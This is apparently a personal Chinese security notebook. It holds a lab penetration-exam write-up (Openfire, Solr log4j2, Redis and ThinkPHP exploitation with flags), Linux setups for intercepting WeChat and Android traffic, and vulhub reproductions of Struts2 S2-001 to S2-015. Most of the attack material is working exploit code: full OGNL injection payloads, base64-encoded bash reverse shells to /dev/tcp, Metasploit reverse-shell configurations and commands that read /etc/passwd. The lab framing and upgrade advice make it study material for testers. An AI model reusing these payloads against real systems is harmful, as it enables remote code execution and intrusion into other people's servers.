exam

weekn_kls_exam

写在前面

127.0.0.1假装是dmz

192.168.2.183假装是外网ip

假装内网主机可以出网

不可出网状态下，thinkphp需手动攻击，redis上传公钥也要手动攻击。部分shell的获取需要通过正向连接获取

pp是对proxychains的alias

j8是对java8的alias

攻击机不通90网段

需手动删除路由表

1
sudo route del -net 192.168.90.0 netmask 255.255.255.0 dev br-f9cc65027665

image.png

反连时需恢复路由表

1
sudo route add -net 192.168.90.0 netmask 255.255.255.0 dev br-f9cc65027665

image.png

DMZ信息收集

靶场搭建起来后对靶机进行扫描

1
./kscan -t 127.0.0.1 -p 0-65535

可用端口

1
2
3
http://127.0.0.1:80                                       Port:80,Addr:本机地址,Digest:00\",\"status\":404,\"er,Length:250
http://127.0.0.1:9090                                     Digest:"\r\n<html>\n<head><titl,Length:285,Port:9090,Addr:本机地址,FingerPrint:JSP;JAVA;OpenfireAdminConsole
http://127.0.0.1:8983          SolrAdmin                  Digest:href=\"css/angular/strea,Length:16998,Port:8983,Addr:本机地址,FingerPrint:apacheSolr;JQuery;ApacheSolr,FoundDomain:www.w3.org、www.apache.org、collection.name、currentCollection.name、core.name、currentCore.name、lucene.apache.org、issues.apache.org、webchat.freenode.net、wiki.apache.org

访问一下看看都是些什么

80

空页面没啥东西

9090

image.png

8983

image.png

DMZ漏洞扫描&利用

先梭哈

使用nuclei

1
./nuclei -list ~/exam/port

~/exam/port

1
2
3
http://127.0.0.1:80
http://127.0.0.1:9090
http://127.0.0.1:8983

扫描结果

image.png

spring 80

下载并分析该heapdump

1
j8 -jar JDumpSpider-1.1-SNAPSHOT-full.jar ~/exam/heapdump > ~/exam/heapdump_result

提取可用信息

image.png

java.version = 1.8.0_432

openfire 9090

尝试yakit中扫描漏洞,无果

msf中寻找其相关漏洞

发现rce模块，尝试检查漏洞

image.png

配置好参数，尝试利用

image.png

利用成功

image.png

solr 8983

使用msf扫描log4j2

image.png

发现log4j2

利用

image.png

成功反弹shell，通过webdelivery 上线msf

1
2
3
4
5
6
7
use exploit/multi/script/web_delivery
set target Linux
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.2.183
set SRVPORT 4577
set LPORT 4331
run

image.png

openfire作为入口点进行内网渗透

信息收集

查看网卡信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
meterpreter > ipconfig
Interface  1
============
Name         : eth0 - eth0
Hardware MAC : 46:86:07:b8:b0:96
MTU          : 1500
IPv4 Address : 172.16.238.20
IPv4 Netmask : 255.255.255.0
Interface  2
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 65536
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

上传工具进行扫描

1
2
3
4
5
[2025-03-01 06:10:20] [SUCCESS] 端口开放 172.16.238.35:80
[2025-03-01 06:10:20] [SUCCESS] 端口开放 172.16.238.20:7070
[2025-03-01 06:10:20] [SUCCESS] 端口开放 172.16.238.20:7777
[2025-03-01 06:10:20] [SUCCESS] 端口开放 172.16.238.99:8983
[2025-03-01 06:10:20] [SUCCESS] 端口开放 172.16.238.20:9090

过滤重复内容，端口开放信息如下

172.16.238.35:80

172.16.238.20:7070

172.16.238.20:7777

上传代理工具进行代理

image.png

内网漏洞扫描&利用

1
pp ./nuclei -list ~/exam/nuclei_list_172.16.238.0

非常安全，没有漏洞。

7070端口

image.png

和openfire相关的，结束

扫描结束后发现

135为springboot信息泄漏的机器

99为solr机器

20为该主机

solr作入口

信息收集

网卡信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 65536
Flags        : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::
Interface  2
============
Name         : eth0
Hardware MAC : d6:9e:76:c3:32:ca
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 172.16.238.99
IPv4 Netmask : 255.255.255.0
Interface  3
============
Name         : eth1
Hardware MAC : fa:f7:c7:eb:07:4d
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.90.4
IPv4 Netmask : 255.255.255.0

上传工具进行扫描

1
2
3
4
5
192.168.90.80:80
192.168.90.45:80
192.168.90.30:22
192.168.90.30:6379
192.168.90.30:9999

代理搭建

image.png

漏洞扫描

1
pp ./nuclei -list ~/exam/nuclei_list_192.168.90.0

不知道nuclei拉了还是代理拉了，没扫到

手动利用

192.168.90.30 redis未授权访问

敏感文件：

image.png

image.png

和spring泄漏的一致

利用

1
pp python redis-attack.py -r 192.168.90.30 -L 192.168.2.183 -P 4889 -a 666666 -lf3 ~/.ssh/id_rsa.pub

上传公钥

1
pp ssh root@192.168.90.30  -i ~/.ssh/id_rsa

image.png

上线到msf

web_delivery

192.168.90.80 thinkphp rce

直接利用rce

image.png

flag

dmz80端口,heapdump泄漏 192.168.90.45:80，172.16.238.35:80

flag{975948af-22da-4dea-a783-c2132f06b287}

dmz9090端口，openfire命令执行漏洞 172.16.238.20:9090

flag{8c6cad22-e797-4295-83d6-e7ab0a0616fa}

dmz8983, solr log4j2反序列化

flag{c072f21d-83a4-48c9-b04a-2f483b13aa86}

192.168.90.30, redis密码泄漏，ssh写公钥

flag{4d664237-4256-4520-af60-421899e7b79c}

192.168.90.80,thinkphp rce

flag{a42d9a3c-1a65-4cd3-9b3b-6b3e549eef03}

shell

image.png{:height 127, :width 749}

linux下微信小程序抓包

引子

学习微信小程序渗透测试时，第一步便是抓包。然而Linux下进行微信小程序抓包有些许小坑点。网上的教程或多或少存在一些问题。

前言

微信官方出Linux客户端啦，我们有救了。

官方推出了AppImage包，我们可以在任何Linux环境运行微信。

配置burp证书

运行以下脚本，将burp证书导入到系统证书中并信任。

1
2
3
# 替换成你的burp证书
cp burp.cer /etc/ca-certificates/trust-source/anchors/burp.cer
update-ca-trust

重启操作系统

抓包示例

通过系统代理将微信小程序包转发到burp中

俺尝试了一下proxychains，不太能用，放弃了

运行以下脚本

1
2
3
export http_proxy="http://127.0.0.1:8080"
export https_proxy="http://127.0.0.1:8080"
./WeChatLinux_x86_64.AppImage

我们整一个alias在环境变量中，下次就可以愉快的使用啦

1
2
3
# 微信小程序抓包快速启动{{{
alias wechat="export http_proxy="http://127.0.0.1:8080";export https_proxy="http://127.0.0.1:8080";~/linux_appimage/WeChatLinux_x86_64.AppImage"
# }}}

参考

首发-Linux 原生微信小程序抓包 | CN-SEC 中文网

环境配置

linux下安卓渗透测试抓包环境配置

引子

学习安卓app渗透测试时，网上大部分教程对于linux用户不太友好。

本文会通过常见的抓包场景介绍一些linux下的软件和一些小技巧。

基础知识

root：获取安卓系统最高权限

xposed、LSPosed、LSPatch：一类安卓系统的hook框架

准备工作

adb

shizuku

GitHub RikkaApps/Shizuku: Using system APIs directly with adb/root privileges from normal apps through a Java process started with app_process.

LSPatch

GitHub LSPosed/LSPatch: LSPatch: A non-root Xposed framework extending from LSPosed

Genymotion虚拟机+证书(附带脚本)

Genymotion是一款跨平台的安卓虚拟机。功能强大

注意，Genymotion并非自由软件

镜像选择

每个镜像后都标注了cpu、内存、硬盘参数，我们根据自己的宿主机性能进行选择。

我们在渗透测试中有root需求，Genymotion官方提供了带有root的镜像请参考Root access Device image User Guide选择合适的安卓版本

结合以上两点，我们选择Pixel2安卓9

创建虚拟机

image.png

这里直接无脑下一步下一步即可。

虚拟机的配置

arm转义GitHub m9rco/Genymotion_ARM_Translation: 👾👾 Genymotion_ARM_Translation Please enjoy！

下载对应版本的arm转义包

运行以下命令

1
2
3
4
5
# 改为你下载的文件名
fileName=arm_translation.zip
adb push $fileName /sdcard/Download/$fileName
adb shell "sh /system/bin/flash-archive.sh /sdcard/Download/$fileName"
adb reboot

shizuku+LSPatch

我们有root，直接使用shizuku的root模式即可。LSPatch授权后即可使用

burp证书导入

这里我们导入系统证书，系统证书需要将证书改名为hash.0

运行以下命令

1
2
3
4
5
6
7
8
9
# 转换证书并推送
# burp.der为从burp中生成的证书
openssl x509 -inform DER -in burp.der -out burp.pem
hash=$(openssl x509 -inform PEM -subject_hash_old -in burp.pem | head -1)
mv burp.pem ${hash}.0
adb remount
adb push ${hash}.0 /system/etc/security/cacerts/
adb shell chmod 644 /system/etc/security/cacerts/${hash}.0
adb reboot

使用代理

直接在wifi中配置代理即可

image.png

实体机+证书

实际上linux下的虚拟机体验并不好，很多时候还是使用实体机比较友好

证书配置

可root的机器

这里请参考上面Genymotion导入证书的方法

不可root的机器

写在前面：

理论上在安卓7.0以后非系统证书是不可用做中间人攻击的。不过这是前半句，实际上”安卓7.0后引入了网络安全配置，默认情况下应用不再信任用户添加的CA证书，除非应用明确配置为信任它们。”

所以用户添加的证书在一定程度上是可用的。

通过设置中的添加用户级别证书即可配置证书。

burp导出证书时后缀需要改为cer，这样用户才可在手动添加时选中。

具体操作步骤请参考百度。

shizuku+LSPatch

可root的机器

参考Genymotion

不可root的机器

通过adb激活shizuku

安装shizuku后运行

1
adb shell sh /sdcard/Android/data/moe.shizuku.privileged.api/start.sh

参考

Root access Device image User Guide

User manual | Shizuku

GitHub m9rco/Genymotion_ARM_Translation: 👾👾 Genymotion_ARM_Translation Please enjoy！

漏洞复现

s2-015命令执行

概述

产生原因

漏洞产生于配置了 Action 通配符 *，并将其作为动态值时，解析时会将其内容执行 OGNL 表达式

影响

Struts 2.0.0 Struts 2.3.14.2

环境搭建

vulhub

1
2
cd struts2/s2-015
docker-compose up -d

复现

见利用

攻防

利用

使用工具ST2G扫描后进行利用

1
./ST2G --url "http://192.168.0.188:8081/S2-015/" --vn 15 --mode exec --cmd "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTg4LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"

image.png

防御

升级 Struts 2.3.14.3

参考

https://cwiki.apache.org/confluence/display/WW/S2-015

漏洞复现

s2-013命令执行

概述

产生原因

Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性，其值可设置为 none，get 或 all，参考官方其对应意义如下：

none 链接不包含请求的任意参数值（默认）

get 链接只包含 GET 请求中的参数和其值

all 链接包含 GET 和 POST 所有参数和其值

<s:a>用来显示一个超链接，当includeParams=all的时候，会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染，造成任意命令执行漏洞。

S2-014 是对 S2-013 修复的加强，在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式，因此 S2-014 是对其的补丁加强。

影响

Struts 2.0.0 Struts 2.3.14.1

环境搭建

vulhub

1
2
cd struts2/s2-013
docker-compose up -d

复现

见利用

攻防

利用

msf中exploit/multi/http/struts_include_params模块

1
2
3
4
5
6
7
8
use exploit/multi/http/struts_include_params
set PARAMETER s
set RHOSTS 192.168.0.188
set RPORT 8081
set TARGETURI /link.action
set target 1
set payload payload/generic/shell_reverse_tcp
run

image.png

防御

升级至Struts 2.3.14.2

参考

vulhub

漏洞复现

s2-009命令执行

概述

产生原因

对s2-003和s2-005的绕过

影响

Struts 2.0.0 Struts 2.3.1.1

环境搭建

vulhub

1
2
cd struts2/s2-009
docker-compose up -d

复现

见利用

攻防

利用

msf中exploit/multi/http/struts_code_exec_parameters模块利用

1
2
3
4
5
6
7
8
9
10
use exploit/multi/http/struts_code_exec_parameters
set RHOST 192.168.0.188
set RPORT 8081
set LHOST 192.168.0.188
set LPORT 4444
set TARGETURI /ajax/example5.action
set PARAMETER name
set target 1
set PAYLOAD payload/generic/shell_reverse_tcp
run

image.png

防御

升级至Struts 2.3.1.2

参考

S2-009 Apache Struts 2 Wiki Apache Software Foundation

漏洞复现

s2-008命令执行

概述

产生原因

devMode 模式下直接添加参数?debug=command&expression=<OGNL EXP>，会直接执行后面的 OGNL 表达式，因此可以直接执行命令

影响

Struts 2.0.0 Struts 2.3.17

环境搭建

vulhub

1
2
cd struts2/s2-008
docker-compose up -d

复现

见利用

攻防

利用

msf中exploit/multi/http/struts_dev_mode模块

1
2
3
4
5
6
7
use exploit/multi/http/struts_dev_mode
set RHOSTS 192.168.0.188
set RPORT 8081
set LHOST 192.168.0.188
set LPORT 4444
set TARGETURI /S2-008/devmode.action
exploit

防御

升级

参考

S2-008 Apache Struts 2 Wiki Apache Software Foundation

漏洞复现

s2-001命令执行

概述

产生原因

该漏洞因为用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析，然后重新填充到对应的表单数据中。例如注册或登录页面，提交失败后端一般会默认返回之前提交的数据，由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析，所以可以直接构造 Payload 进行命令执行

影响

参考链接1

环境搭建

1
2
3

cd struts2/s2-001
docker-compose up -d

复现

抓取登陆包

构造执行ls -a的payload

1
username=admin&password=%25{%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String[]{"ls","-a"})).redirectErrorStream(true).start(),%23b%3d%23a.getInputStream(),%23c%3dnew+java.io.InputStreamReader(%23b),%23d%3dnew+java.io.BufferedReader(%23c),%23e%3dnew+char[50000],%23d.read(%23e),%23f%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),%23f.getWriter().println(new+java.lang.String(%23e)),%23f.getWriter().flush(),%23f.getWriter().close()}

image.png

攻防

利用

GitHub xfiftyone/STS2G: Struts2漏洞扫描利用工具 Golang版. Struts2 Scanner Written in Golang

GitHub HatBoy/Struts2-Scan: Struts2全漏洞扫描利用工具

防御

升级Struts到2.0.9或升级XWork到2.0.4

参考

S2-001 Apache Struts 2 Wiki Apache Software Foundation

漏洞复现

s2-007命令执行

概述

产生原因

发生类型验证错误时，后端灰浆表单值通过字符串拼接，然后执行一次OGNL表达式解析并返回。

影响

2.0.0 2.2.3

环境搭建

1
2
3

cd struts2/s2-007
docker-compose up -d

复现

反弹shell

payload

1
name=123&email=123&age='+%2b+(%23_memberAccess["allowStaticMethodAccess"]%3dtrue,%23foo%3dnew+java.lang.Boolean("false")+,%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo,%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('bash+-c+{echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjAuMTg4LzQ0NDQgMD4mMQ%3d%3d}|{base64,-d}|{bash,-i}').getInputStream()))+%2b+'

反弹成功

image.png

攻防

利用

扫描漏洞

1
./ST2G --url http://192.168.0.188:8081/user.action --data "name=123&email=123&age=fuckit" --mode scan

命令执行

1
./ST2G --url http://192.168.0.188:8081/user.action --data "name=123&email=123&age=fuckit" --vn 007 --mode exec --cmd "cat /etc/passwd"

防御

升级struts2

参考

S2-007 Apache Struts 2 Wiki Apache Software Foundation

漏洞复现

s2-005命令执行

概述

产生原因

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12)，struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象，struts框架通过过滤#字符防止安全问题，然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制，对于S2-003漏洞，官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补，但是安全配置被绕过再次导致了漏洞，攻击者可以利用OGNL表达式将这2个选项打开，S2-003的修补方案把自己上了一个锁，但是把锁钥匙给插在了锁头上

XWork会将GET参数的键和值利用OGNL表达式解析成Java语句，如：

1
2
3
4
user.address.city=Bishkek&user['favoriteDrink']=kumys
//会被转化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

触发漏洞就是利用了这个点，再配合OGNL的沙盒绕过方法，组成了S2-003。官方对003的修复方法是增加了安全模式（沙盒），S2-005在OGNL表达式中将安全模式关闭，又绕过了修复方法。整体过程如下：

S2-003 使用\u0023绕过s2对#的防御

S2-003 后官方增加了安全模式（沙盒）

S2-005 使用OGNL表达式将沙盒关闭，继续执行代码

参考vulhub

影响

2.0.0 2.1.8.1

环境搭建

1
2
3

cd struts2/s2-005
docker-compose up -d

复现

反弹shell

payload

1
redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27bash -c {echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjAuMTg4LzQ0NDQgMD4mMQ%3d%3d}|{base64,-d}|{bash,-i}%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

效果

image.png

攻防

利用

msf中exploit/multi/http/struts_code_exec模块

实际测试来看，该模块没有对payload中的"和\进行编码，导致利用失败

防御

升级struts

参考

S2-005 远程代码执行漏洞 blankunbeaten 博客园

Vulhub Docker-Compose file for vulnerability environment